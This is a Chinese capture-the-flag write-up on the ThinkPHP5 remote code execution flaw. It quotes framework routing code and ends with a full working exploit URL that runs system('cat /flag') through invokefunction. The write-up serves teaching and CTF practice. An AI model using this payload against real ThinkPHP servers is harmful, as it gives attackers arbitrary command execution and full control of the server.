攻防世界中习题
可知其为thinkphp5的远程代码执行漏洞,通过查阅资料可知
由于ThinkPHP5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接GetWebShell。
影响版本
ThinkPHP 5.0系列 < 5.0.23
ThinkPHP 5.1系列 < 5.1.31
相关代码
think\Container在tp运行的时候就会被加载。使用think\Container这个字符串实例化控制器的时候就会实例化Container这个类,下一步是去调用invokeFunction这个函数。
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
把function传入call_user_func_array然后vars[0]传入我们要执行的函数的名字vars[1]传入要执行函数的参数 因为vars是个数组 所以此处我们的get请求需要这样写
vars[]=函数名&vars[1][]=参数
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}
var_pathinfo的默认配置为s,我们可以通过$_GET[‘s’]来传参
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
成功获取flag
参考链接: